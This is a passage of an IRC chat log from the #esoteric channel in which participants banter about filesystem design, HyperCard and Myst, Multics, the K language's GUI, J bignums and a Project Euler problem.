systems for example? < 1250386190 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Knuth's work doesn't use filesystems. < 1250386192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe he has, and I'm just ignorant < 1250386203 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It's entirely algorithmic,. < 1250386208 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :s/,\.$/./ < 1250386208 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well, in his day-to-day usage of computers he would still end up using them < 1250386221 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah, and one of the original unix guys uses windows as his day to day OS < 1250386224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, so while his book might not cover them < 1250386225 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :with plan 9 in a window < 1250386234 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that doesn't mean he thinks windows is a good model of an OS. < 1250386236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, good point < 1250386246 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and it doesn't mean that by not suggesting something better, he thinks it's good < 1250386284 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Modern CS did not produce Java. < 1250386293 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Modern "software engineering" produced Java. < 1250386311 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: If you think they differ outside of the very best institutions then you're blind... < 1250386311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, doing nothing about it won't make it better < 1250386320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thus, consent by slience? ~ < 1250386329 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :silence* < 1250386337 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: It's a result of much software engineering getting labeled as computer science that you say that. < 1250386350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :clearly this could be taken into a communist discussion < 1250386352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if I wanted < 1250386354 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :When, in fact, the two are about as different as calculation and mathematics. < 1250386356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but too tired < 1250386367 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Going by your definition, CS barely exists. < 1250386375 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So it does. < 1250386375 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :something about standing up to the oppression of microsoft < 1250386377 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(Only slightly more than the imaginary 0 at the end of 0.9 recurring.) < 1250386378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ^ < 1250386390 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Consent by silence? brb, rapefest → < 1250386411 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, hah :P < 1250386412 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Yes, "computer science" as I consider it is a field of mathematics. < 1250386432 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, then, CS didn't produce filesystems. < 1250386437 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :He was referring to CS people as liking filesystems. < 1250386447 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :So, your definition of CS isn't the one he was using, at least, so I will not use it wrt him. < 1250386455 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Fair enough. < 1250386465 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The modern CS that likes filesystems is insane; although K is showing that at least filesystems may not be inherently insane. < 1250386466 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, who produced file systems then < 1250386474 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Satan. < 1250386485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, thought you weren't religious? < 1250386503 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yes, well, I cannot think of any other explanation. < 1250386508 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Maybe Russell's Teapot dunnit. < 1250386525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, hm... evil teapot overlord? < 1250386534 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1250386535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think you may be on to something < 1250386541 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :peatot < 1250386541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :better be careful < 1250386550 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Flying Spaghetti Monster is a NWO Illuminati conspiracy ! < 1250386552 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'll just say that filesystems are not a UNIX invention. < 1250386555 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean peetot < 1250386558 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Russell's Teapot is what "They" don't want you to know about < 1250386560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :least you will suddenly be visited by SNMP Men in Black < 1250386563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ! < 1250386568 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Read more about the reptilian teapot conspiracy>>> < 1250386575 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Click Here < 1250386580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(SORRY FOR THAT PUN!) < 1250386584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ? < 1250386585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what < 1250386594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that doesn't even look like a link < 1250386608 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Erm... is italics. < 1250386611 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I was joking because of the . < 1250386612 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Actually, who *did* invent filesystems? < 1250386618 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The conspiracists websites are uh, bad < 1250386640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anywya, did ANYONE get my pun above < 1250386641 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1250386656 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i didn't < 1250386673 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm still not sure, but apparently Ritchie invented the *hierarchical* filesystem. < 1250386680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Management_information_base http://en.wikipedia.org/wiki/Men_In_Black < 1250386687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :TLA collision < 1250386700 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :right, thought it'd be something like that < 1250386753 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Task Load Automation? < 1250386771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, did you make that one up just now, or does it actually exist? < 1250386778 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :WHO KNOWS < 1250386785 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1250386789 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :IBM. IBM invented filesystems. < 1250386792 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That explains so much. < 1250386818 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh my < 1250386820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed it does < 1250386827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, at least it wasn't Sun < 1250386831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then it would be even worse < 1250386837 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Sun is a UNIX vendor. < 1250386844 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sun are slightly more sane... in that they've always emphasised the network. < 1250386845 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's the first thing they did. < 1250386859 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, see sun XML files < 1250386860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1250386863 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So. It's not likely that they'd invent filesystems in general. < 1250386870 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :those auto generated by virtualbox's configure tools < 1250386916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :emphasised the network... hm < 1250386919 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in what way? < 1250386931 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :sec < 1250386960 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[[Atkinson [author of hypercard - e] recalled engineers at Apple drawing network schematics in the form of a bunch of boxes linked together. Sun engineers, however, first drew the network's backbone and then hung boxes off of it. It's a critical difference, and he feels it hindered him.]] < 1250386960 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://www.wired.com/gadgets/mac/commentary/cultofmac/2002/08/54370 < 1250386977 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and their work on thin clients etc, although i don't like thin clients they were good to explore < 1250386988 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hypercard... < 1250386991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh god... < 1250386993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the nostalgia < 1250387002 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Hypercard's pretty neato. < 1250387013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I only saw "hypercard player" < 1250387014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1250387022 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I never saw either! < 1250387039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, so tell me. why is it neato < 1250387047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have no clue how it works < 1250387054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :beyond the user interface < 1250387065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in the viewer only app < 1250387071 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Eh, read the article, but. < 1250387086 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It was sort of like a database and sort of like hypertext < 1250387088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :too *late* didn't read < 1250387089 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and sort of like a collection of objects < 1250387091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1250387096 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and sort of like a programming language with a GUI < 1250387102 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and uh stuff < 1250387107 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, there were these silly cards < 1250387114 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Card = page. < 1250387118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :everything seemed based on pages yes < 1250387126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yes, fixed size iird < 1250387128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc* < 1250387135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't remember details about that though < 1250387138 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yes, well, I never claimed it was perfect. < 1250387162 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The Myst computer game franchise, initially released as a HyperCard stack and included bundled with some Macs (for example the Performa 5300), still lives on, making HyperCard a facilitating technology for starting one of the best-selling computer games of all time.[citation needed] < 1250387162 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :According to Ward Cunningham, the inventor of Wikis, the wiki concept can be traced back to a HyperCard stack he wrote in the late 1980s, making HyperCard one of the grandparents of the Wiki idea.[7][8][9] < 1250387166 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :haha, Myst was originally in hypercard? < 1250387187 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is http://projecteuler.net/index.php?section=problems&id=206 supposed to be difficult? < 1250387192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yes it was < 1250387200 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, so not fixed size I guess < 1250387203 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: did your script take more than 1 minute to run? < 1250387212 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: why do you say that? < 1250387217 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION didn't try it yet, but it looks like it's easy to bruteforce
< 1250387218 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ? < 1250387226 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[01:46] AnMaster: ehird, so not fixed size I guess < 1250387227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, because myst runs full screen < 1250387233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, that's why < 1250387236 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :... they didn't say released < 1250387244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, eh? < 1250387246 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :.............. < 1250387260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yes it is a hyercard stack on the cd < 1250387261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I checked < 1250387266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I remember that now < 1250387268 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1250387274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I was a bit surprised when I found it out < 1250387279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :several years ago < 1250387286 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The original Macintosh version of Myst was constructed in HyperCard. Each Age was a unique HyperCard stack. Navigation was handled by the internal button system and HyperTalk scripts, with image and QuickTime movie display passed off to various plugins; essentially, Myst functions as a series of separate multimedia slides linked together by commands < 1250387292 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so it was fixed size, I guess < 1250387308 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION discovers Haiku OS...
< 1250387325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well. I meant fixed size hypercard main window < 1250387327 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, old < 1250387330 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They aim to have binary compatibility with BeOS. Because of this, it is built with both GCC 4 and GCC 2. < 1250387331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and not old enough < 1250387334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to be nostalgia < 1250387335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :! < 1250387337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so invalid < 1250387337 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Linux: old. < 1250387343 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Unix: old. < 1250387346 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Computers: old. < 1250387348 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Electricity: old. < 1250387348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well, discovering it I meant < 1250387351 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Universe: old. < 1250387354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what about that "scan vinyl" one < 1250387356 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :goodbye, cruel world! < 1250387360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you said it was old < 1250387362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and such < 1250387364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when I linked it < 1250387371 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :your mom is old < 1250387387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, just pointing out you are as inconsistent as I am :P < 1250387401 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Mor yum is old. < 1250387413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :good answer < 1250387418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as good as any I guess < 1250387465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ever played myst? < 1250387467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean < 1250387469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the original < 1250387475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you said you had it iirc < 1250387479 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :er no < 1250387498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, pretty sure you said so < 1250387509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, it is well worth playing < 1250387520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure, it is old by today's standards < 1250387522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but < 1250387523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :back then < 1250387529 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was advanced, 256 colour graphics < 1250387534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes dithered < 1250387537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pre-rendered < 1250387552 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and it had a black border around even at 640x480 < 1250387616 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: You would be amused to note that MULTICS had orthagonal persistence. < 1250387629 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :orthagonal? is that like orthogonal gonads < 1250387638 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :multics had everything < 1250387662 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Multics implemented a single level store for data access, discarding the clear distinction between files (called segments in Multics) and process memory. The memory of a process consisted solely of segments which were mapped into its address space. To read or write to them, the process simply used normal CPU instructions, and the operating system took care of making sure that all the modifications were saved to disk. In POSIX terminology, it was as if every f < 1250387673 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :blah blah < 1250387675 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :So, an actually sane system. < 1250387682 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: try K, you'll like its gui < 1250387740 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ehird: is it easy to get on windows :\ < 1250387742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, screenshot < 1250387749 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that is not the important part........... < 1250387752 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: very < 1250387755 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean let's face it, it needs to be easy to install :) < 1250387765 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: http://nsl.com/misc/int/ grab kwin.zip and kdoc.zip < 1250387776 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :follow kusr.pdf; it introduces everything and the gui and shit < 1250387790 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Multics implemented a single level store for data access, discarding the clear distinction between files (called segments in Multics) and process memory. The memory of a process consisted solely of segments which were mapped into its address space. To read or write to them, the process simply used normal CPU instructions, and the operating system took care of making sure that all the modificat < 1250387790 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ions were saved to disk. In POSIX terminology, it was as if every < 1250387791 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :introduces the language se well? < 1250387793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :source of quote? < 1250387793 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*as well < 1250387796 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wikipedia < 1250387797 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: yes < 1250387798 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :all of it < 1250387799 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1250387804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what article? < 1250387809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MULTICS? < 1250387810 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: multics. < 1250387831 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: a lot of it is similar to j, 'cept not so many mathematical functions < 1250387840 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :btw the awesome stuff about the gui comes a bit after the start < 1250387849 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but you literally show objects directly < 1250387855 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and they have metaattributes controlling how they're showed < 1250387860 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and they all autoupdate when they change anywhere < 1250387870 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that sounds sexy < 1250387898 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it is < 1250387909 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: and gui code is ridiculously short in it < 1250387917 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i mean, it's literally as easy to code a gui as to code a console app in another lang < 1250388043 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, how hard is it to code a console app in it then < 1250388055 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i don't even know if there is a print function < 1250388056 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :doesn't matter < 1250388060 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no point < 1250388084 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the gui mode lis beautiful < 1250388087 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :*is < 1250388111 0 :Leonidas!unknown@unknown.invalid QUIT :Remote closed the connection < 1250388118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what about layout and such < 1250388120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in windows < 1250388123 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1250388124 0 :Leonidas!n=Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1250388126 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it does it all < 1250388133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, it makes it look good < 1250388134 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :elegantly and without introducing new concepts < 1250388138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1250388143 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well the widgets themselves aren't terribly pretty, but < 1250388151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :without you having to tell how they should line up < 1250388152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like < 1250388156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a form < 1250388158 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://nsl.com/papers/life/o001.png < 1250388164 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes. < 1250388180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1250388181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night < 1250388494 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ehird: k doesn't have bignums? < 1250388503 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1250388503 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :might < 1250388511 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :doesn't have by default i think < 1250388512 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nor does J. < 1250388520 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1250388528 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :j602 does < 1250388541 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1250388557 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: < 1250388557 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : 1e306*1e306 < 1250388558 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :_ < 1250388578 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :eh lol yes i'm an idiot < 1250388726 0 :iano!unknown@unknown.invalid QUIT : < 1250388772 0 :FireFly!unknown@unknown.invalid QUIT :"Later" < 1250388865 0 :Asztal!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1250388889 0 :Leonidas!unknown@unknown.invalid QUIT :Remote closed the connection < 1250388892 0 :Leonidas!n=Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1250388978 0 :Sneezle_!unknown@unknown.invalid QUIT :"Ex-Chat" < 1250389286 0 :jix!n=jix@188-193-95-175-dynip.superkabel.de JOIN :#esoteric < 1250390047 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: like it? < 1250390074 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i haven't played with it that much yet < 1250390085 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm wasting my time in many other ways as well < 1250390087 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :atm < 1250390295 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps himself for a stupid off-by-one error
< 1250390331 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION accidentally counted 1 as a prime
< 1250390363 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats Sgeo -----###
< 1250390370 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :DON'T DO THAT < 1250390427 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, it may have taken 2 min to come up with an answer, and in the thread, I'm seeing answers determined in seconds < 1250390439 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :anything over 1m means you failed. < 1250390444 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1250390578 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1250390830 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION really needs to start timing his scripts
< 1250390834 0 :ehird!unknown@unknown.invalid QUIT : < 1250391011 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :thai ming is of the essence < 1250391837 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION can't believe he's doing what he's doing
< 1250391931 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you wicked, wicked man < 1250391945 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :PUT YOUR PANTS ON MISTER < 1250391955 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: indeed < 1250391966 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :reinstalling every package on my computer is sure to cause headaches < 1250392423 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, why are you doing it? < 1250392521 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: my system's become increasingly unstable. I want to rule out FS/disk corruption, which means I did a badblocks scan, and now need to make sure all the system files are correct < 1250392567 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1250392652 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :since clearly the FS scan was insufficient < 1250392726 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's probably due to radioactivity. check your house for radon pollution. < 1250392775 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, no, no. Don't listen to that fool. < 1250392782 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is *definitely* due to radioactivity. < 1250392786 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Evacuate the country. < 1250392792 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Possibly also the continent. < 1250392805 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :You mean the solar system. < 1250392806 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If you want to be really sure, move to the moon. < 1250392821 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I'd believe that if the Windows partition were showing any 